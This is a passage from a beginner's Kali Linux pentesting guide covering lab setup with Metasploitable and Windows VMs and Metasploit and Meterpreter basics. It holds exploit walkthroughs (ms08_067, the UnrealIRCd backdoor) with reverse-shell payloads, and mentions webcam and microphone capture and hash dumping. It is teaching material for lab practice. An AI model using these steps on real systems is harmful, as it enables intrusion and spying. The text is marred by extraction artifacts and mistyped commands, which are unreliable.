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C hapter 1 - Introduction
W hat is K ali?
K ali is the latest and greatest version of the ever popular B acktrack Linux penetration testing
distribution. The creators of the Backtrack series kept K ali in a form at very sim ilar to Backtrack, so
anyone fam iliar w ith the older Backtrack platform  w ill feel right at hom e.

K ali has been re-vam ped from  the ground up to be the best and m ost feature rich Ethical H acking/
Pentesting distribution available. K ali also runs on m ore hardw are devices greatly increasing your
options for com puter security penetration testing or ñpentestingò system s.

If you are com ing to K ali from  a Backtrack background, after a short fam iliarization period you
should find that everything is very sim ilar and your com fort level should grow  very quickly.

If you are new  to K ali, once you get used to it, you w ill find an easy to use security testing platform
that includes hundreds of useful and pow erful tools to test and help secure your netw ork system s. 

W hy U se K ali?
K ali includes over 300 security testing tools. A lot of the redundant tools from  B acktrack have been
rem oved and the tool interface stream lined. You can now  get to the m ost used tools quickly as they
appear in a top ten security tool m enu. You can also find these sam e tools and a plethora of others all
neatly categorized in the m enu system . 

K ali allow s you to use sim ilar tools and techniques that a hacker w ould use to test the security of your
netw ork so you can find and correct these issues before a real hacker finds them .

Tech N ote:

H ackers usually perform  a com bination of steps w hen attacking
a netw ork. These steps are sum m arized below :
 

R econ ï Checking out the target using m ultiple sources ï
like intelligence gathering.
Scanning ï M apping out and investigating your netw ork.
Exploitation ï A ttacking holes found during the scanning
process.
Elevation of Privileges ï Elevating a low er access
account to Root, or System  Level.
M aintaining A ccess ï Using techniques like backdoors to
keep access to your netw ork.
C overing their Tracks ï Erasing logs, and m anipulating
files to hide the intrusion.

 
A n Ethical H acker or Penetration Tester (good guys hired to
find the holes before an attacker does) m im ics m any of these



techniques, using param eters and guidelines set up w ith
corporate m anagem ent, to find security issues.
 
They then report their findings to m anagem ent and assist in
correcting the issues.
 
W e will not be covering every step in the process, but will
show you m any of the techniques that are used, and how to
defend against them .
 

 
I w ould think the biggest drive to use K ali over com m ercial security solutions is the price. Security
testing tools can be extrem ely costly, K ali is free! Secondly, K ali includes open source versions of
num erous com m ercial security products, so you could conceivably replace costly program s by sim ply
using K ali.

A ll though K ali does includes several free versions of popular softw are program s that can be
upgraded to the full featured paid versions and used directly through K ali.

There really are no m ajor tool usage differences betw een Backtrack and K ali. K ali is basically
Backtrack version 6, or the latest version of Backtrack. But it has been com pletely retooled from  the
ground up, m aking softw are updates and additions m uch easier.

In Backtrack updating som e program s seem ed to break others, in K ali, you update everything using the
K ali update com m and w hich keeps system  integrity m uch better.

Sim ply update K ali and it w ill pull dow n the latest versions of the included tools for you. Just a note
of caution, updating tools individually could break K ali, so running the K ali update is alw ays the best
w ay to get the latest packages for the O S.

I m ust adm it though, som e tools that I liked in the original Backtrack are m issing in K ali. It is not too
big of a deal as another tool in K ali m ost likely does the sam e or sim ilar thing. A nd then again you
can install other program s you like if needed.

In addition to stand alone and virtual m achine instances of K ali, I also use K ali on a Raspberry Pi - a
m ini credit card sized A RM  based com puter. W ith K ali, you can do alm ost everything on a Pi that you
could do on a full sized system . In m y book I w ill cover using the PI as a security testing platform
including testing W ireless netw orks.

Testing netw orks w ith a com puter you could fit in your pocket, how  cool is that?

Though K ali canôt possibly contain all the possible security tools that every individual w ould prefer,
it contains enough that K ali could be used from  beginning to end. D onôt forget that K ali is not just a
security tool, but a full-fledged Linux O perating System . So if your favorite tool runs under Linux, but
is not included, m ost likely you can install and run it in K ali.

E thical H acking Issues



Using Ethical H acking a security tester basically acts like a hacker. H e uses tools and techniques that
a hacker w ould m ost likely use to test a target netw orkôs security. The difference is, the penetration
tester is hired by the com pany to test its security and w hen done reveals to the leadership team  how
they got in and w hat they can do to plug the holes.

The biggest issue I see in using these techniques is ethics and law . Som e security testing techniques
that you can perform  w ith K ali and its included tools are actually illegal to do in som e areas. So it is
im portant that users check their local, State and Federal law s before using K ali.

A lso, you m ay have som e users that try to use K ali, a very pow erful set of tools, on a netw ork that
they do not have perm ission to do so. O r they w ill try to use a technique they learned but m ay have not
m astered on a production netw ork.

A ll of these are potential legal and ethical issues.

Scope of this B ook
This book focuses on those w ith beginning to interm ediate experience w ith Backtrack/ K ali. I think it
w ould also be a good tool for netw ork adm inistrators and non-security IT professionals that are
looking to get into the field.

W e w ill cover everything from  a basic overview  of K ali to using the included tools to test security on
W indow s and Linux based system s. W e w ill cover Social Engineering, W i-Fi security, using K ali on
a Raspberry Pi, exploiting passw ords, basic com puter security testing from  reconnaissance to finding
&  using exploits, and finally securing your system s.

W hy did I w rite this book?
I have w ritten technical articles on Backtrack for several years now , and have helped out w ith
m ultiple B acktrack/ K ali books and training series. I get a lot of questions on how  to use K ali/
Backtrack, so I decided that it w as tim e to w rite m y ow n beginners guide book.

M y other reason for w riting this book is to help get young people interested in the field of com puter
security. The US is currently facing a crisis w hen it com es to young professionals choosing technical
careers and the cyber security field is no different.

The US governm ent is in need of thousands1 of cyber w arriors and som e industry experts have even
suggested that the US consider hiring security experts2 from  other countries to fill in the gap.

Think about that for a m inute.

The num bers gam e is against us also. The US is the num ber tw o user of the internet, w ith 81%  of our
population connected. N ow  consider the fact that China is in the num ber one spot3 w ith alm ost double
the am ount of users. A nd their connected rate is only at about 41% !

Though m any think that the US is ranked num ber one in cyber offense capabilities, our defense is not
ranked that w ell. W ith foreign countries m aking m arked advances in cyber security the US needs to
get as m any brilliant young people into the field as possible, and they need to do it sooner rather than
later.



D isclaim er
N ever try to gain access to or security test a netw ork or com puter that you do not have w ritten
perm ission to do so. D oing so could leave you facing legal prosecution and you could end up in jail.

The inform ation in this book is for educational purposes only.

There are m any issues and technologies that you w ould run into in a live environm ent that are not
covered. This book only dem onstrates som e of the m ost basic tool usage in K ali and should not be
considered as an all-inclusive m anual to Ethical hacking or pentesting.

I did not create any of the tools in K ali nor am  I a representative of K ali Linux or O ffensive Security.

A ny errors, m istakes, or tutorial goofs in this book are solely m ine and should not reflect on the tool
creators, please let m e know  w here I screw ed up so it can be corrected.  

Though not m entioned by nam e, thank you to the K ali developers for creating a spectacular product
and thanks to the individual tool creators, you are all doing an am azing job and are helping secure
system s w orldw ide!

R eferences
1. http://w w w .csm onitor.com /U SA /M ilitary/2011/0509/W hat-U S-cybersecurity-needs-a-few -m ore-good-guys

2. http://w w w .theguardian.com /technology/2012/jul/10/us-m aster-hackers-al-qaida

3. http://en.w ikipedia.org/w iki/List_of_countries_by_num ber_of_Internet_users



 

 

 

 

 

Part 1: Installing and Basic O verview



C hapter 2 - Installing K ali w ith V M W are Player
R esources

ǒ     VM W are - http://w w w .vm w are.com /

ǒ     K ali Install D irections - http://docs.kali.org/category/installation

ǒ     K ali D ow nloads - http://w w w .kali.org/dow nloads/

ǒ     K ali R epositories - http://docs.kali.org/general-use/kali-linux-sources-list-repositories

ǒ     M etasploitable 2 - http://sourceforge.net/projects/m etasploitable/files/M etasploitable2/

ǒ     M icrosoft Evaluation Softw are - http://technet.m icrosoft.com /en-us/evalcenter

Introduction
In this section w e w ill setup K ali Linux, W indow s 7 and M etasploitable 2 as Virtual M achines
(VM s) using VM W are Player on a host com puter.

Setting up our testing lab using virtual m achines m akes it very easy to learn offensive com puter
security testing using K ali.

Virtual m achines m ake it possible to run several operating system s on a single com puter. That w ay
w e do not need a room  full of com puters to set up a testing and learning environm ent. W e only need
one m achine pow erful enough to run several V irtual M achine sessions at once.

For the book I used a W indow s 7 Core I-5 system  w ith 8 G B of RA M . It had plenty of pow er to run
all three of our lab operating system s at the sam e tim e w ith no problem  at all.

If you have experience w ith Virtual System s, you can use any Virtual M achine softw are that you w ant.
But for this tutorial I w ill be using VM W are Player as the host softw are, and then install K ali,
M etasploitable 2 and W indow s 7 in separate V M s running under the host.

W hen done, you should have a sm all test netw ork that looks som ething like this:



Because w e w ill be dealing w ith vulnerable operating system s, m ake sure that you have a Firew all
Router (Preferably hardw are) betw een the H ost system  and the live internet.

Install V M W are P layer &  K ali
Installing K ali on VM W are is extrem ely sim ple as O ffensive Security provides a K ali W M W are
im age that you can dow nload, so w e w ill not spend a lot of tim e on this.

D ow nload and install V M W are Player for your version of O S.

1.       D ow nload and install VM W are Player (https://m y.vm w are.com /w eb/vm w are/dow nloads)

2.      A gree to the license agreem ent and choose w here you w ant it to install it, the default is
norm ally fine.

3.       Click, ñFinishò w hen done.



4.      D ow nload the K ali VM W are Im age (http://w w w .kali.org/dow nloads/) and save it in a
location w here you w ant it to run from .

(N ote: It is always a good idea to verify the SH A1SU M  w ith the downloaded im age to verify
you have a legitim ate copy of the im age. There are num erous M D 5/ SH A1 freew are program s
available.)

5.      Un-G Zip and Un-Tar the dow nloaded im age (7-Zip w orks great).

6.      Start the VM W are Player.

7.      Click, ñPlayerò from  the m enu.

8.      Then ñFileò

9.      N ext click, ñO penò.

10.   Surf to the extracted K ali .vm x file, select it, and click, ñO penò.
11.    It w ill now  show  up on the VM W are Player hom e screen:

12.   W ith the K ali VM  highlighted click, ñEdit V irtual M achine Settingsò.

13.   H ere you can view  and change any settings for the VM :



14.   Click, ñN etw ork Adapterò:

It is set to N AT  by default. This w ill be good enough for w hat w e are doing. N AT m eans that each
Virtual m achine w ill be created in a sm all N AT netw ork shared am ongst them selves and w ith the
host; they can also reach out to the internet if needed.

Each m achine w ill be given a D H CP IP address, w hich m eans that the IP addresses m ight change on
the VM s w hen you reboot them .

(If you need to know Kaliôs or M etasploitableôs IP address, just type ñ ifconfigò in a Term inal
window. O n a W indows based VM , just type ñipconfigò at a com m and prom pt.)

15.   Click ñcancelò to return to the VM W are Player m ain screen.

16.   N ow  just click, ñPlay Virtual M achineò, to start K ali. You m ay get a m essage asking if the
V M  w as m oved or copied, just click, ñI copied itò.

17.   W hen prom pted to install VM W are tool, select to install them  later.

18.   W hen K ali boots up you w ill com e to the Login Screen:



19.   Click on ñO therò, then login w ith the usernam e, ñrootò and the passw ord ñtoorò (root
backw ards).

20.  Y ou w ill then login to K ali and be presented w ith the m ain D esktop:

Congratulations, you did it!

U pdating K ali
W e w ill cover getting around in K ali a little later, but first, w e need to update K ali to the latest
version. The VM  im age is a bit old, so there are a lot of updates that could take a w hile to dow nload.



1. O pen a Term inal W indow :

2. Type, ñapt-get updateò and hit ñenterò:

3. A nd then, ñapt-get dist-upgradeò:

(Type, ñyò and enter w hen prom pted that additional disk space w ill be needed.)

This can take quite a w hile, so this m ight be a good tim e for a break, you deserve it!

4. W hen done, reboot.

Tech N ote:

There are additional source repositories that you can m anually add to
K ali if you w ant.

For exam ple if you w ant the absolute latest and greatest, you can add the
ñBleeding Edgeò repositories to K ali. But these do com e w ith the
w arning that they are not m anually m aintained and are low  priority.
For m ore inform ation see:
http://docs.kali.org/general-use/kali-linux-sources-list-repositories

Thatôs it; K ali should now  be installed, updated and ready to go. W e w ill take a closer look at the
desktop in the next section.

Installing V M W are T ools for L inux
W hen K ali boots up, a W M W are pop-up should appear asking if you w ant to install the VM W are
tools into the operating system  VM . This allow s the O S to w ork better w ith V M W are, usually giving



you m ore control over video options and cut and paste capability w ith the host.

Y ou donôt need to install them , but it usually m akes things w ork a little bit sm oother.

W hen you get the pop-up m essage below , click ñD ow nload and Installò:

The tools w ill then begin to dow nload:

A llow  the tools to install and then click, ñC loseò w hen finished.

Installing M etasploitable 2
M etasploitable 2, the purposefully vulnerable Linux operating system  that w e w ill practice
exploiting, is also available as a Virtual W are VM . A s w e did w ith the K ali VM  above, all w e need
to do is just dow nload the M etasploitable 2 VM  im age, unzip it and open it w ith VM W are Player.

Itôs that sim ple.

1. D ow nload M etasploitable 2
(http://sourceforge.net/projects/m etasploitable/files/M etasploitable2/) and place it in a folder
w here you w ant it saved.

2. Unzip the File.

3. Then just open M etasploitable 2 in VM W are by starting VM W are Player, click, ñPlayerò,



ñFileò, ñO penò, then surf to and select the M etasploitable.vm x file and click, ñO penò.

4. It w ill now  show  up in the V M W are Player M enu:

5. N ow  go to ñE dit Virtual M achine Settingsò for M etasploitable and m ake sure the netw ork
interface is set to ñN ATò:

M etasploitable 2 is now  ready to use.

*** W arning *** - M etasploitable is a purposefully vulnerable O S. Never run it directly open on
the internet. M ake sure there is a firewall installed between your host system  and the Internet.

6. G o ahead and ñ Playò the M etasploitable system , click ñI copied itò if you are asked if you
m oved or copied it.

Y ou should now  see the M etasploitable D esktop:



7. Login w ith the credentials on the screen.

Login nam e: m sfadm in
Passw ord: m sfadm in

8. A t the term inal prom pt type, ñifconfigò to get the IP address of the M etasploitable m achine:

m sfadm in@ m etasploitable:~$ ifconfig
eth0 Link encap:Ethernet
inet addr:192.168.198.129

The IP address in this case is 192.168.198.129. Because w e are using D H CP the IP addresses of the
virtual m achines m ay change w hen w e bring the system s dow n and then back up. So it is a good idea
to check and verify them  if you start having com m unication problem s.

W e now  have our M etasploitable and K ali system s up.

W indow s V irtual M achines
In this book I also use a W indow s 7 V M  (and a W indow s X P VM  in a few  exam ples). You used to be
able to dow nload a (30-90 day) W indow s 7 Enterprise Evaluation version directly from  M icrosoft,
but it looks like m ost of the links now  point to their W indow s 8.1 Enterprise Evaluation:

http://technet.m icrosoft.com /en-us/evalcenter/hh699156

So if you w ant to follow  along on the W indow s 7 (or X P) sections you w ill need to install a licensed
copy of W indow s 7 in VM W are Player.

I w ill not cover installing W indow s 7 in V M W are Player, but basically all you need is your W indow s
7 CD  and install K ey, and do a full install from  disk by clicking ñN ew  Installò and then pointing to
your CD  Rom  drive:



Then just install W indow s 7 as usual.

W hen done, you w ill have a W indow s 7 Virtual M achine:

Check the netw ork settings on it to m ake sure that it too is using N A T for netw orking:

Play the virtual m achine and run ñipconfigò from  a W indow s 7 Com m and Prom pt to see w hat its IP
address is:

M icrosoft W indow s [Version 6.1.7601]



C opyright (c) 2009 M icrosoft Corporation. A ll rights reserved.
 
C :\Users\Fred>ipconfig
 
W indow s IP Configuration
Ethernet adapter Local A rea Connection:
 
IPv4 A ddress. . . . . . . . . . . : 192.168.198.130

A nd finally if you w ant, install the VM W are Tools for W indow s w hen prom pted:
 

Thatôs it, you should now  have three virtual m achines in a m ini-netw ork that you can use to practice
and learn basic offensive security pentesting techniques.

Install W rap U p
In this section w e learned how  to install V M W are Player as a virtual m achine host. W e then installed
K ali Linux, M etasploitable 2 and W indow s 7 as separate virtual m achines on the host.

W e set them  all up to use the sam e netw orking (N AT) so that they can com m unicate to each other and
out to the internet if needed.

W e w ill use this setup throughout the rest of the book.

Just as a rem inder, w ith using V M W areôs D H CP, IP addresses of the system s m ay change w hen w e
reboot them . I used this partially because you w ill alw ays be using different target IP addresses w hen
in the real w orld. But if you get lost, you can run ñifconfigò (Linux) or ñipconfigò (W indow s) on the
V M  to find the changed IP address.

A nd finally, never run M etasploitable directly on the internet as it is purposefully vulnerable.

Q uick D esktop T our
Letôs take a m om ent and take a short tour of the K ali m enu and interface.

O ne of the biggest things you w ill notice w hen installing is that K ali is based off of D ebian Linux,
instead of Ubuntu, w hich earlier versions w ere based on. If you w ere used to Backtrack, the desktop
still uses G nom e, but it does seem  to have a different look and feel to it.

T op M enu B ar
W e w ill start our tour w ith the top m enu bar.



The top m enu has the Applications m enu w hich is the m ain gatew ay to access all the included
program s in K ali, the Places m enu w hich allow s you to navigate around the file system . The
Icew easel w eb brow ser is next, and a shortcut to the Term inal prom pt follow s.

In the m iddle is the date and tim e, follow ed by a volum e control icon on the right side, a N etw ork
icon, w here you can view  and edit your netw ork connections and finally your user m enu w here you
can access system  settings, sw itch users or log out.

A pplications M enu
The Applications m enu is the m ain m enu in K ali.

Under this m enu you find the follow ing m ain m enus:

Accessories m enu includes the norm al tools you w ould expect to find in an operating system .
Electronics tab contains a program m ing utility for the A rduino board.
Kali Linux is the m ain m enu to access the security program s.
System  Tools contain system  adm inistrator tools and preferences.

The rest are pretty self-explanatory.

K ali L inux M enu
O f m ost im portance to us, the K ali Linux m enu option is w here you w ill find m ost of the security
tools.



A  quick peek at the m enu show s that a Top Ten Security Tools  m enu has been added to K ali so you
can get into your favorite tools faster.

A ircrack-ng, B urpsuite, M etasploit, N m ap, W ireshark and several other top program s are now  right
at your fingertips.

If you are fam iliar w ith the original B acktrack donôt w orry, all the regular tools are still present in a
m enu system  very sim ilar to the one B acktrack used.

To navigate the m enu, just find the topic you w ant, for exam ple, Inform ation G athering and follow
the m enu across until you find the utility you w ant:



Follow ing dow n the m ain m enu branch you w ill see that the tools are sorted by type. W eb
A pplication testing program s can be found in the W eb A pplications m enu option, all Passw ord
related security program s are under the Passw ord Attacks m enu and so on.

C onclusion
If you w ant, it w ould be a good idea to take a few  m inutes and surf the m enu system  until you are
fam iliar w ith its layout.

M any, if not m ost of the program s can be run directly from  the com m and prom pt, and there are
additional program s included in K ali that are not in the m enu system . W e w ill cover several of the
utilities that com e w ith K ali. W e w ill also cover a few  that have not been added in yet, but are very
good tools for any security tester.

 

 

 

 

 

Part 2 - M etasploit Tutorial



C hapter 3 ï Introduction to M etasploit
R esources
M etasploit Inform ation

ǒ     http://w w w .offensive-security.com /m etasploit-unleashed/M ain_Page

ǒ     http://w w w .offensive-security.com /m etasploit-unleashed/M sfconsole_C om m ands
Security B ulletin Sites

ǒ     http://cve.m itre.org/

ǒ     http://technet.m icrosoft.com /en-us/security/bulletin

Introduction
For the security testing com m unity, M etasploit (and M etasploit Pro) is one of the coolest things since
sliced bread. M etasploit gives you a com plete fram ew ork, or playground for security testing.

The M etasploit Fram ew ork is a com prehensive platform  for perform ing vulnerability testing, and
exploitation. It is loaded w ith over a thousand exploits, hundreds of payloads and m ultiple encoders.

W e w ill cover the basics of using M etasploit in this chapter, and then in a later chapter see how  to
use M etasploit against a test target. If you are already fam iliar w ith using M etasploit then feel free to
skip this chapter or use it as a refresher.

U pdates
N orm ally to update M etasploit, you sim ply run ñm fsupdateò, but according to the R apid 7 w ebsite,
M etasploit updates are synced to update w eekly w ith K ali.

(https://com m unity.rapid7.com /thread/3007)



M etasploit O verview
Y ou can start M etasploit a couple of different w ays, from  the m enu or from  a term inal prom pt.

ǒ     /K ali Linux/Top Ten Security Tools/M etasploit fram ew ork

ǒ     /K ali Linux/Exploitation Tools/M etasploit

ǒ     O r just ñm fsconsoleò in a term inal
O nce M etasploit loads you w ill see the follow ing m ain screen and be given an ñm sf >ò prom pt.

M etasploit can be a little confusing if you have never used it before, but once you get used to how  it
w orks, you can do som e am azing things w ith it.

B asically, using M etasploit to attack a target system  usually involves:

1. Picking an Exploit

2. Setting Exploit O ptions

3. Picking a Payload

4. Setting Payload O ptions

5. Running the Exploit

6. Connecting to the R em ote System

7. Perform ing Post Exploitation Processes

The screenshot below  show s an exam ple of this process, but donôt w orry; w e w ill cover the process
in m uch m ore detail as w e go along.



D epending on the type of exploit, once our exploit is com plete w e w ill norm ally end up w ith either a
rem ote shell to the com puter or a M eterpreter shell.

A rem ote shell is basically a rem ote term inal connection or a text version of a rem ote desktop for
W indow s users. It allow s us to enter com m ands as if w e are sitting at the keyboard.

But a M eterpreter shell offers a ton of interesting program s and utilities that w e can run to gather
inform ation about the target m achine, control devices like the w ebcam  and m icrophone, or even use
this foothold to get further access into the netw ork.

A nd of course, if needed, you can drop to a regular shell at any tim e.

In m ost cases, depending on w hat you are trying to do, a M eterpreter Shell is m uch m ore
advantageous than just a regular shell.

W e w ill discuss the M eterpreter Shell later, but for now  letôs quickly cover the first five steps.

Tech N ote:
W hen all else fails and you start to feel lost in
M etasploit, or the M eterpreter shell, try typing
the ñhelpò com m and.
Y ou can also use the ñtabò key to autocom plete a
line or hit it tw ice to show  all available exploits
and payloads.
Ex. show exploits <tab> < tab>

 

P icking an E xploit
If you are a glutton for punishm ent and w ant to view  all the exploits, just type ñshow  exploitsò from
the m sf prom pt:

m sf > show  exploits

But it is easier to use the search com m and to find w hat you are looking for. Sim ply type ñsearchò and
then the inform ation you w ant. Som etim es being very specific w ill help you find the exploit you w ant
quicker.

Tech N ote:
If you see an error that says, ñ[!] D atabase not
connected or cache not built, using slow



searchò all you need to do is start the PostSQ L
D atabase before running m sfconsole (though
your search w ill w ork w ithout it running, it w ill
just be slow er).
To start the D atabase at a term inal prom pt, type
the follow ing:

ǒ     service postgresql start
ǒ     service m etasploit start
ǒ     m sfconsole

 

M etasploit allow s you to search for exploits in m ultiple w ays, by platform , or even CVE (Com m on
Vulnerabilities and Exposures) and bugtrack num bers.

Type ñhelp searchò to see all of the options:

To search by nam e, just type search and the text you w ant. So for exam ple to see if M etasploit has an
exploit for M icrosoftôs Security Bulletin M S13-069 vulnerability:

To see a specific C V E ID  num ber:



To see all the C VE ID ôs from  this year (truncated list):

O r to see exploit inform ation for a particular program  just use its nam e:

m sf > search unreal

W hen you see an exploit that you w ant to know  m ore about, just copy and paste the full path nam e and
use the info com m and:

m sf > info exploit/unix/irc/unreal_ircd_3281_backdoor

This w ill display the full inform ation screen for the exploit:

The inform ation screen show s the authorôs nam e, a brief overview  (not show n) along w ith the basic
options that can be set, a description and w ebsite security bulletin references for the exploit (show n).



A s you can see in the picture above, w e can set a couple options for this exploit, w hich leads us into
our next section.

But before w e set our exploit options, w e need to ñuseò it. O nce w e know  w e have the exploit w e
w ant, w e sim ply run the ñuseò com m and w ith the exploit nam e. A gain copying and pasting the exploit
path and nam e w orks very w ell here too:

O kay, w e are now  using our exploit, so how  do w e set the options?

Setting E xploit O ptions
Setting options in M etasploit is as sim ple as using the ñsetò com m and follow ed by the variable nam e
to set and then the value.

set <Variable N am e> <Value>

 
T ech N ote:
LH O ST = Local H ost, or our
K ali System
R H O ST = Rem ote H ost, or
our target System
LPO RT = Port w e w ant to
use on our K ali System
R PO R T = Port w e w ant to
attack on our target System

 

To set w hat variables can be set, use the ñshow  optionsò com m and:

This exploit only uses tw o m ain variables, R H O ST and RPO RT. Rhost is the rem ote host that w e are
attacking and Rport is the rem ote port.



Letôs go ahead and set the R H O ST variable using the set com m and. If the target system ôs IP address
w as 192.168.0.20 then w e w ould use the set com m and below :

If w e run the ñshow  optionsò com m and again, w e can see that the variable has indeed been set:

This is all you really need is set in this exploit. You could now  run the ñexploitò com m and to execute
it.

If you are feeling a bit lost, donôt panic, w e w ill cover this in m ore detail in the M etasploitable
chapter.

M ultiple T arget T ypes
The U nreal backdoor w as a fairly easy exploit to use. Som e exploits have m ultiple variables that you
need to set and they m ight even have som e optional variables that can also be configured.

A s you use M etasploit, you w ill find that som e have m ultiple target types that can be attacked, and
that the exact target needs to be set for the exploit to w ork properly. To see the target, enter ñshow
targetsò.

O n the exploit w e used above, the target is autom atic, so w e donôt need to set it.

B ut on others, there are num erous targets and w e need to pick the right one.

G etting a rem ote shell on a W indow s X P  M achine
W e took a brief look at one of the Linux exploits, letôs go ahead and run through the m s08-067 exploit
as it is one of the m ore popular W indow s exploits.

1. To start, sim ply use the exploit:
m sf > use exploit/w indow s/sm b/m s08_067_netapi

2. N ow  type, ñshow  optionsò:



N otice that by default the target is set to ñAutom atic Targetingò. I have had m ixed results w ith using
autom atic targeting, and som etim es things w ork better if you set the exact target.

3. If w e w ant to set a specific target type, ñshow  targetsò:

4. Then type, ñset target <ID #>ò to set the actual target.

5. A nd again a ñshow  optionsò w ill reveal that w e indeed have the target value set:



Lastly, though not often used in regular exploits, w e can also set advanced options if w e w ant.

To show  the advanced options, just type ñshow  advancedò:

N ow  w e have seen how  to select an exploit and how  to set the options. O n m any exploits w e also
need to set a payload.

P icking a P ayload
W hatôs the fun of exploiting a m achine if you canôt do anything w ith it? Payloads allow  you to do
som ething functional w ith the exploited system .

M etasploit com es w ith a m ultitude of different payloads that you can use. To see them , just type
ñshow  payloadsò:



O r you can type ñset payloadò and hit the tab key tw ice. This w ill prom pt M etasploit to ask you if you
w ant to see all the available payloads:

M ost of the payloads are laid out in the form at of óO perating System /Shell Typeô as show n below :
 

ǒ     set payload/osx/x86/shell_reverse_tcp

ǒ     set payload/linux/x64/shell_reverse_tcp

ǒ     set payload/w indow s/shell_reverse_tcp

ǒ     set payload/w indow s/m eterpreter/reverse_tcp

Sim ply select the correct O S for your target and then pick the payload you w ant.

The m ost popular types of payloads are shells, either a regular rem ote shell or a M eterpreter shell.

If w e just w ant a rem ote term inal shell to rem otely run com m ands, use the standard shell. If you w ant
the capability to m anipulate the session and run extended com m ands then you w ill w ant the
M eterpreter shell (w hich w e w ill discuss in further detail in the next chapter).

There are different types of w ays that the payloads com m unicate back to the attacking system . I
usually prefer reverse_tcp shells as once they are executed on the target system , they tell the attacking
m achine to connect back out to our K ali system .

The big advantage to this is that w ith the victim  m achine technically ñinitiatingò the connection out, it
usually is not blocked by the Firew all, as a connection trying to com e in from  the outside m ost likely
w ill.

O nce w e know  w hat payload w e w ant to use, w e set it using the ñsetò com m and.

6. So for our exam ple letôs use a M eterpreter shell for a W indow s system  and have it connect
back to us via TCP:

N ow  that our payload is set, w e just need to set the options for it.

Setting P ayload O ptions
Payloads have options that are set in the exact sam e w ay that the exploit is set. U sually payload
settings include the IP address and port for the exploit to connect out to.

A nd these too are set w ith the ñsetò com m and.

7. Type ñshow  optionsò to see w hat settings the payload needs:



A s you can see in the im age above, a new  section titled ñPayload optionsò show s up w hen w e run the
com m and. W e also have three new  options that w e can set, ñEX ITFUN C, LH O ST, and LPO R Tò.

W e w ill leave the EX ITFUN C  and LPO R T settings to the default.

8. But w e need to put in the LH O ST or local host address. This is the IP address for our K ali
system :

O nce our payload options are set, w e can go ahead and run the exploit.

R unning the E xploit
W hen starting out, it is alw ays a good idea to run the ñshow  optionsò com m and one last tim e and
double check that everything is set correctly.

If you notice above, looks like w e forgot to set the target system  (RH O ST) IP address!

W e set the RH O ST for a prior exam ple, but w hen w e sw itched exploits, w e never re-set the rem ote
host IP address. This can happen w hen you are running through a lot of exploits, or attacking different
system s, so it is a good idea to double check your settings.

9. Set the RH O ST option by typing:
set RH O ST 192.168.0.20

Checking the options one last tim e, everything looks good:



O ur payload is selected, and all the options that w e need to set are set.

W e can now  run the exploit.

10. To do so, sim ply use the ñexploitò com m and.

The exploit then runs and w hen successful the payload executes and if the exploit w orks, w e get a
rem ote connection.

C onnecting to a R em ote Session
O nce w e have a successful exploit w e w ill be able to view  any rem ote sessions that w ere created. To
check w hat sessions w ere created type the ñsessionsò com m and.

A ny sessions that w ere created w ill show  up along w ith the IP address, com puter nam e and user nam e
of the target system .

W e can now  connect to the session interactively w ith the ñsessions -i <ID #>ò com m and as show n in
the sam ple session above.

W hen w e connect to the session, the prom pt w ill change into a m eterpreter prom pt:

W e w ill cover the M eterpreter shell in m ore depth in the next chapter. B ut for now , if w e just type the
ñshellò com m and w e can see that w e do indeed have a rem ote shell to the W indow s system .

C onclusion



In this rather lengthy introduction to M etasploit w e learned how  to perform  som e basic functions of
the fram ew ork to enable us to find and use exploits. W e also talked briefly about using payloads and
setting necessary functions.

M etasploit is able to do a ton of things; w e just briefly brushed som e of the m ore elem entary core
functions.

A gain if you are feeling lost at this point, donôt panic! W e w ill cover the entire M eterpreter exploit
process later in greater detail. 

N ext w e w ill talk about the M eterpreter shell, an am azing and fun interface that w e can use to
m anipulate system s that w e successfully exploited.



C hapter 4 ï M eterpreter Shell
R esources

ǒ     http://en.w ikibooks.org/w iki/M etasploit/M eterpreterC lient

ǒ     http://cyberarm s.w ordpress.com /2013/02/03/rem otely-recording-speech-and-turning-it-
into-searchable-text-w ith-m etasploit-w atson/

Introduction
A fter a successful exploit a M eterpreter shell allow s you to perform  m any different functions along
w ith a full rem ote shell.

M eterpreter is great for m anipulating a system  once you get a rem ote connection, so depending on
w hat your goals are; a M eterpreter shell is usually preferred to a straight rem ote term inal shell.

M eterpreter gives us a set of com m ands and utilities that can be run to greatly aid in security testing.
For exam ple, there are com m ands to pull the passw ord hashes and gather data &  settings from  the
system .

There are also som e fun tools included in M eterpreter, for exam ple, you can turn on the userôs
w ebcam  and grab still shots, you can turn on the rem ote m icrophone and even grab desktop
screenshots of w hat the user is w orking on.

In this section w e w ill quickly cover the M eterpreter shell and som e of its features.

B asic M eterpreter C om m ands
Letôs start w ith a m achine that w e tricked into running a backdoored program  (To see how  to create
an Anti-Virus evading backdoor see the chapter on ñVeilò.) O nce executed the backdoor program
connected out to our K ali system  and a session w as created. W e w ere then autom atically dropped into
the active session as seen below :

O nce connected to the session w e are given a M eterpreter prom pt:

O kay, letôs see w hat M eterpreter can do, letôs start by using the help com m and to see w hat is



available.

W hen w e do so, w e see that the com m ands are broken out into sections.

The com m ands are:

ǒ     Core Com m ands

ǒ     File System  C om m ands

ǒ     N etw orking C om m ands

ǒ     System  C om m ands

ǒ     User Interface C om m ands

ǒ     W ebcam  C om m ands

ǒ     A nd three Priv Com m ands

W e w ill not cover all of the com m ands, but w ill look at a couple in a little m ore depth. It is a good
idea to read through them  all to get a basic understanding of w hat they can do.

C ore C om m ands
 

A s a beginner level user, you w ill probably only use background, help, load, m igrate, run and exit
from  this list.

ǒ     B ackground - Background allow s you to background a session so that you can get back to
the m sf prom pt or access other sessions.



Y ou can return to your session by just using the ñsession -i <session #>ò com m and.

ǒ     Load and Run ï These com m ands allow  you to use additional m odules and com m ands
inside M eterpreter.

ǒ     Exit ï Exits out of M eterpreter.

F ile System  C om m ands
W hen you have a M eterpreter shell, you basically are dealing w ith tw o file system s, the local and
rem ote. File system  com m ands allow  you to interact w ith both.

B asically you can use standard Linux com m ands to get around and use the file system . B ut how  do you
differentiate betw een the local system  and the rem ote system  that you are attached to?

A ll the com m ands are assum ed to be used on the rem ote system . So for exam ple to get a directory
listing of the rem ote system , just use the ñlsò com m and:

If w e create a directory called ñtestò on the rem ote m achine w e can navigate to it, and then list the
contents:



W hen you need to m ove around your local (K ali) file system  there are a couple com m ands you can
use.

ǒ     G etlw d &  lpw d ï G et (display) Local W orking D irectory

ǒ     Lcd ï C hange Local D irectory

So if w e needed to check our local w orking directory and then change into our D esktop directory on
our K ali system  w e can do the follow ing:

D ow nload allow s you to dow nload files from  the target system , and conversely, upload allow s you to
send files to the rem ote system .

